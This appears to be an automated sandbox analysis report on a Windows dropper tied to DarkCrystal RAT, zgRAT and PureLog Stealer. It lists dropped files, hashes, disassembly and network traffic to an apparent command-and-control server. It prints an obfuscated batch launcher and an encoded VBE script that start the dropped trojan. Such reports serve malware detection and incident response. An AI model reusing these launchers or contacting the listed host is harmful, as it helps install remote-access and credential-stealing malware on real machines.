Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\bridgeMonitorDhcpCommon\98135c31e34d63

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	ASCII text, with very long lines (528), with no line terminators
Category:	dropped
Size (bytes):	528
Entropy (8bit):	5.86146629288854
Encrypted:	false
SSDEEP:	12:7G6L9eqdASkAEXjaXl+9vBLm4fhBxAP/K+26Hzjm/UbbbZyj:7G6LFOSkhO1+9v5muXuK+2ujmCb8
MD5:	003966389C0FE84EEB10466BF228C2E1
SHA1:	4EE62E74BFC80741615218F35B5F35EF23AD16BD
SHA-256:	5E1DF552863B72CAB377F7F6025882BBC84D302AA5A074DD1A19261EB185BA84
SHA-512:	03B7D6C2380261AA05E412761E02AC0BD6ABC9294CF4FF55670A0DD17F1667D9C0B346BC2DC406B7723101FDF033FEBA0594DB27E5D99C1E66DB9D4851DD9198
Malicious:	false
Preview:	iiYTSvfoYvEaphKRzXUT28gc0Sd11puQRmThaZLefiD2BMofmKgt0xokC5d9SoxtBxICOn1aLzyT5nbon7OqIAae8sff6LM1vT0NDmQ9TGhA8VoYdzWUaGlBWoDfIVeAn7hmwOkBqOXCcafnEGCHz2apsz0Yiv18mhXBxClPOUnLtii6JabBTXKug237XLc5XYa4DdzBfw2ePP5JQ4PIU0oOWmf5Jn2C2rxUIo2pkZfgeqeQ6uqc6UlhtLha842140mhblAmBkh4UIuqIO8Y7ZFiGQk7GcqqhnmoD6zVtDaWwrMla1Rt6d4euDbKADgj30WrgGmLZmp38tvZE9gPK7uDtH3AeoVqh1d6UfFUOGUTxBfASCGBgRY5GS8ZMmqvR9WHPzEi3LAEmbQrl2rchTJPdh0BhqIlZjByoYud7iHVQUTpCQxT4ON70Gos8DBNCYpDZbDMHOe9My8JOL8R2zqKVE8iuCe4g3S2oPQkMkLquOvBHeexEtVNresUdecFtjcSgGe85XERoAaG

C:\bridgeMonitorDhcpCommon\KAdpNCgonFhCnlBRasdZerWl.exe

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3538432
Entropy (8bit):	7.811102685383502
Encrypted:	false
SSDEEP:	49152:i2EAM8/6Xg6/x08VtOkxE4HfOi5nZ/Ite8eeAd9nOtgwD9sY:inblgmx0+tp+wPJuYZtggwD9
MD5:	26C2B88440A62B4CB79201E01A404BD2
SHA1:	AD784AF316C9674AB5963D9F3144EAB1A41DA087
SHA-256:	B36300C80EB1D3B7BA75FF58BF058D10A7D757F14A83026981477108D1F65268
SHA-512:	EE00C4F8ACC8479071B2EB29BE9E9C6A21E84E330D76B00B33EA48D03972CD295719AF8A26B09F08431748941BD8433E02A2F8C118DA7398AFFB4FD08B445A31
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................5.........n.6.. ... 6...@.. .......................`6...........@................................. .6.K.... 6.p....................@6...................................................... ............... ..H............text...t.5.. ....5................. ..`.rsrc...p.... 6.......5.............@....reloc.......@6.......5.............@..B................P.6.....H...........D.......s...L...<,+...6......................................0..........(.... ........8........E....N......).......8I...(.... ....~....{....9....& ....8....(.... ....~....{....:....& ....8....(.... ....~....{....:....& ....8y......0..-....... ........8........E............R.......F...e...8........~....(f...~....(j... ....?... ....~....{....9....& ....8....r...ps....z8.... ........8z......... ....~....{....9d...& ....8Y...~....(^... .... .... ....s....~....(b..

C:\bridgeMonitorDhcpCommon\KQ5XnVOYWwQFrPTZ9PsIrToBZTIRzi3E3YTHck8Ca7MF45bBlpw.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	90
Entropy (8bit):	5.126365840889883
Encrypted:	false
SSDEEP:	3:sr8xXuwDbQI+rh9hHkjYmVNBvpjvAn:sAZXDMI+rh9hHkjYiN5in
MD5:	5095F6A2A1E4C13B9F5AEBE3AB33F46C
SHA1:	7064BE6BE58473F6061DFEEC53B5D9EE133C2EBF
SHA-256:	BB6DD9570AB9AE6A8AD48E6C1B5F5282A8893FAFEBE04BD6995FE4A84C502976
SHA-512:	9FAA172FF588E8FABF730CD61BC1F1ECEF37B1CAC02D9A63364691B58002F264C2C449B67F19B492A58483A921E599E988631DF203E00406A62D152D98357381
Malicious:	false
Preview:	%TbVHhfzaa%%UHCW%..%AnY%"C:\bridgeMonitorDhcpCommon/webDriverintoDll.exe"%dKqAVephdvFLFzJ%

C:\bridgeMonitorDhcpCommon\osBsCLbPfQftwHCHlhElxAOzJXM9OXwC38dZCkih.vbe

Download File

Process:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	253
Entropy (8bit):	5.88666447746823
Encrypted:	false
SSDEEP:	6:GEvwqK+NkLzWbH1xdyrFnBaORbM5nCcc26fR1FhgTnQFKRNmiI:GbMCzWL1xdyhBaORbQCNfb3wnQAR0iI
MD5:	702E86FFF4B16185FBC8336F58FB7C37
SHA1:	FC44B404441EE941444B921AAE7EA4F7A29BFCB6
SHA-256:	98492002BCF6E2AD6900D1CA22771EBF429C6415253EE3EA2AC997120CEBD2E5
SHA-512:	C622BDDC6563B44303CD0B437B8D885A7526FFC53BE7073D21C5C5C50A971A005A54E6771C62E433C3B2DE88C458D017554F4D2718B138E2BCF7916DF049327F
Malicious:	false
Preview:	#@~^5AAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vFq!ZT@#@&U+DP.ktU4+^V~',Z.nmY+}8L.mYvE.?1DbwORj4.VsJ@#@&q/4j4+Vs "EUPr/=z8Mk9o+tW.rYKD9t1w/Gs:W.&znpoU#rI.SpoDKP\,K/&.KKAtP&IyrfA&eK_^0%/mGtscl4~swSR8lDJS~Z~P6CVk++0gAAA==^#~@.

C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3538432
Entropy (8bit):	7.811102685383502
Encrypted:	false
SSDEEP:	49152:i2EAM8/6Xg6/x08VtOkxE4HfOi5nZ/Ite8eeAd9nOtgwD9sY:inblgmx0+tp+wPJuYZtggwD9
MD5:	26C2B88440A62B4CB79201E01A404BD2
SHA1:	AD784AF316C9674AB5963D9F3144EAB1A41DA087
SHA-256:	B36300C80EB1D3B7BA75FF58BF058D10A7D757F14A83026981477108D1F65268
SHA-512:	EE00C4F8ACC8479071B2EB29BE9E9C6A21E84E330D76B00B33EA48D03972CD295719AF8A26B09F08431748941BD8433E02A2F8C118DA7398AFFB4FD08B445A31
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................5.........n.6.. ... 6...@.. .......................`6...........@................................. .6.K.... 6.p....................@6...................................................... ............... ..H............text...t.5.. ....5................. ..`.rsrc...p.... 6.......5.............@....reloc.......@6.......5.............@..B................P.6.....H...........D.......s...L...<,+...6......................................0..........(.... ........8........E....N......).......8I...(.... ....~....{....9....& ....8....(.... ....~....{....:....& ....8....(.... ....~....{....:....& ....8y......0..-....... ........8........E............R.......F...e...8........~....(f...~....(j... ....?... ....~....{....9....& ....8....r...ps....z8.... ........8z......... ....~....{....9d...& ....8Y...~....(^... .... .... ....s....~....(b..

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.746300568170299
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXwUXKEhvePjFy6vo13/FFyaNvj:Vx993DEU6XPF08
MD5:	60F0CFC2418ADC0458FFE4CAD6D02FC1
SHA1:	6BEECAB0E5B6EABA628D6C452D50C2DD8C4B1EC2
SHA-256:	F7E74F29A29A41F2AD1F76E96366D3AC814E4DCC0E42E1D7CDF7179C8D2E2BB8
SHA-512:	8301F2240CB3740C4F7830010D76BFCC28CB7B4DA4C4AE8C7B5A960CB701D383560176E5822614EBDCD2F9196C0EBE6035CC9D1D2CEDC028495B0B1F7382F1B2
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 08/12/2024 10:44:20..10:44:20, error: 0x80072746.10:44:26, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.52478186246308
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% InstallShield setup (43055/19) 0.21% Win32 Executable Delphi generic (14689/80) 0.07% Windows Screen Saver (13104/52) 0.07%
File name:	gorkmTnChA.exe
File size:	9'843'712 bytes
MD5:	e4e1923f51eb61ed20cbbfab84ab25b5
SHA1:	f50f90821c5e40a6b5289b8a0b084f831177cbef
SHA256:	093e2a0c52459c17133b8dce76c887d8eb3588f2fdfc7b1cfb342a7225b6cdd6
SHA512:	549cab4ea639ac9a68a5df6c119bd83bf8589d6b038e75c1443f9909c42013bc0634a8dab82cdc90cd6376a29892f7a5cbed74acbb601e1dd3e5e267cf12f8c3
SSDEEP:	98304:HCnblgmx0+tp+wPJuYZtggwD9NrvLO010gIuekBbIAAvoTeU0q4ekVbu8sGL3sYr:ibptuYMgMLO0Ejc4egHsu8Y5e3km6Nso
TLSH:	B2A6E021B246C837C56316B0197D9A5F8278AF321B7299CB73CC2E6E5B701C21736E67
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4020cc
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d59a4a699610169663a929d37c90be43

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
mov ecx, 0000000Ch
push 00000000h
push 00000000h
dec ecx
jne 00007EFF8C7F4F3Bh
push ecx
push ebx
push esi
push edi
mov eax, 0040209Ch
call 00007EFF8C7F49B0h
xor eax, eax
push ebp
push 00402361h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
lea edx, dword ptr [ebp-14h]
mov eax, 00402378h
call 00007EFF8C7F4D89h
mov eax, dword ptr [ebp-14h]
call 00007EFF8C7F4E59h
mov edi, eax
test edi, edi
jng 00007EFF8C7F5176h
mov ebx, 00000001h
lea edx, dword ptr [ebp-20h]
mov eax, ebx
call 00007EFF8C7F4E18h
mov ecx, dword ptr [ebp-20h]
lea eax, dword ptr [ebp-1Ch]
mov edx, 00402384h
call 00007EFF8C7F45A8h
mov eax, dword ptr [ebp-1Ch]
lea edx, dword ptr [ebp-18h]
call 00007EFF8C7F4D4Dh
mov edx, dword ptr [ebp-18h]
mov eax, 00404680h
call 00007EFF8C7F4480h
lea edx, dword ptr [ebp-2Ch]
mov eax, ebx
call 00007EFF8C7F4DE6h
mov ecx, dword ptr [ebp-2Ch]
lea eax, dword ptr [ebp-28h]
mov edx, 00402390h
call 00007EFF8C7F4576h
mov eax, dword ptr [ebp-28h]
lea edx, dword ptr [ebp-24h]
call 00007EFF8C7F4D1Bh
mov edx, dword ptr [ebp-24h]
mov eax, 00404684h
call 00007EFF8C7F444Eh
lea edx, dword ptr [ebp-38h]
mov eax, ebx
call 00007EFF8C7F4DB4h
mov ecx, dword ptr [ebp-38h]
lea eax, dword ptr [ebp-34h]
mov edx, 0040239Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5000	0x302	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9000	0x96110c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8000	0x1c8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x7000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x13b8	0x1400	e5913936857bed3b3b2fbac53e973471	False	0.6318359375	data	6.340990548290613	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x3000	0x7c	0x200	cef89de607e490725490a3cd679af6bb	False	0.162109375	Matlab v4 mat-file (little endian) , numeric, rows 0, columns 4230400	1.1176271682252383	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x4000	0x695	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5000	0x302	0x400	3d2f2fc4e279cba623217ec9de264c4f	False	0.3876953125	data	3.47731642923935	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x6000	0x4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x7000	0x18	0x200	467f29e48f3451df774e13adae5aafc2	False	0.05078125	data	0.1991075177871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x8000	0x1c8	0x200	9859d413c7408cb699cca05d648c2502	False	0.876953125	data	5.7832974211095225	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x9000	0x96110c	0x961200	6bfe8ee6b0c704e938b8bf00fc2d2522	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_RCDATA	0x9294	0x3ae744	PE32 executable (GUI) Intel 80386, for MS Windows	0.4882011413574219
RT_RCDATA	0x3b79d8	0x5b26a8	PE32 executable (GUI) Intel 80386, for MS Windows	0.40666961669921875
RT_RCDATA	0x96a080	0xe	ASCII text, with no line terminators	1.5714285714285714
RT_RCDATA	0x96a090	0x1d	ASCII text, with no line terminators	1.2758620689655173
RT_RCDATA	0x96a0b0	0x1	very short file (no magic)	9.0
RT_RCDATA	0x96a0b4	0x1	very short file (no magic)	9.0
RT_RCDATA	0x96a0b8	0x1	very short file (no magic)	9.0
RT_RCDATA	0x96a0bc	0x1	very short file (no magic)	9.0
RT_RCDATA	0x96a0c0	0x10	data	1.5
RT_RCDATA	0x96a0d0	0x1	very short file (no magic)	9.0
RT_RCDATA	0x96a0d4	0x38	data	1.0714285714285714

Imports

DLL	Import
kernel32.dll	GetCurrentThreadId, SetCurrentDirectoryA, GetCurrentDirectoryA, ExitProcess, RtlUnwind, RaiseException, TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA, FreeLibrary, HeapFree, HeapReAlloc, HeapAlloc, GetProcessHeap
kernel32.dll	WriteFile, SizeofResource, SetFilePointer, LockResource, LoadResource, GetWindowsDirectoryA, GetTempPathA, GetSystemDirectoryA, FreeResource, FindResourceA, CreateFileA, CloseHandle
shfolder.dll	SHGetFolderPathA
shell32.dll	ShellExecuteA

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-08T15:27:00.047076+0100	2829202	ETPRO MALWARE MSIL/Zbrain PUP/Stealer Installer UA	1	192.168.2.4	49730	172.67.184.109	443	TCP
2024-12-08T15:27:23.309899+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49743	185.246.67.73	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 15:26:57.537663937 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:26:57.537708998 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:26:57.537782907 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:26:57.549520016 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:26:57.549535036 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:26:58.768403053 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:26:58.768477917 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:26:58.818371058 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:26:58.818387985 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:26:58.818620920 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:26:58.818711042 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:26:58.822228909 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:26:58.867328882 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:27:00.047090054 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:27:00.047137976 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:27:00.047156096 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:27:00.047178984 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:27:00.047194004 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:27:00.047214031 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:27:00.047221899 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:27:00.047226906 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:27:00.047247887 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:27:00.047259092 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:27:00.047282934 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:27:00.047286987 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:27:00.047303915 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:27:00.047334909 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:27:00.047542095 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:27:00.047573090 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:27:00.047574997 CET	443	49730	172.67.184.109	192.168.2.4
Dec 8, 2024 15:27:00.048122883 CET	49730	443	192.168.2.4	172.67.184.109
Dec 8, 2024 15:27:21.741293907 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:21.861030102 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:21.861154079 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:21.862191916 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:21.981498957 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:22.217119932 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:22.339502096 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:23.198961020 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:23.309899092 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:23.315932989 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:23.316003084 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:23.316046953 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:23.353552103 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:23.434418917 CET	49744	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:23.473545074 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:23.554017067 CET	80	49744	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:23.554075956 CET	49744	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:23.554249048 CET	49744	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:23.673609972 CET	80	49744	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:23.700581074 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:23.784945011 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:23.819987059 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:23.904259920 CET	49744	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:23.920501947 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:24.023679018 CET	80	49744	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:24.023690939 CET	80	49744	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:24.023700953 CET	80	49744	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:24.138971090 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:24.178987026 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:24.298376083 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:24.528738976 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:24.610380888 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:24.648154974 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:24.648231030 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:24.653666019 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:24.876287937 CET	80	49744	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:24.919321060 CET	49744	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:24.968080044 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:25.013047934 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:25.108330011 CET	80	49744	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:25.153647900 CET	49744	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:25.940593004 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:25.940973043 CET	49745	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:26.009692907 CET	49744	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:26.060331106 CET	80	49745	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:26.060344934 CET	80	49743	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:26.060404062 CET	49743	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:26.060456991 CET	49745	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:26.060688019 CET	49745	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:26.129553080 CET	80	49744	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:26.129626036 CET	49744	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:26.180046082 CET	80	49745	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:26.419344902 CET	49745	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:26.538743973 CET	80	49745	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:26.538769960 CET	80	49745	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:26.538779974 CET	80	49745	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:26.804174900 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:26.809640884 CET	49745	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:26.923564911 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:26.923630953 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:26.923719883 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:26.930682898 CET	49747	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:26.972176075 CET	80	49745	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.042983055 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.050061941 CET	80	49747	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.050259113 CET	49747	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.050385952 CET	49747	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.075246096 CET	80	49745	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.075804949 CET	49745	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.169717073 CET	80	49747	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.278898001 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.399382114 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.399426937 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.399445057 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.399465084 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.399477005 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.399487019 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.399532080 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.399564981 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.399594069 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.399647951 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.399724007 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.399732113 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.399761915 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.399770975 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.399776936 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.399806976 CET	49746	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.403839111 CET	49747	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:27.519000053 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.519013882 CET	80	49746	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:27.519037008 CET	80	49746	185.246.67.73	192.168.2.4
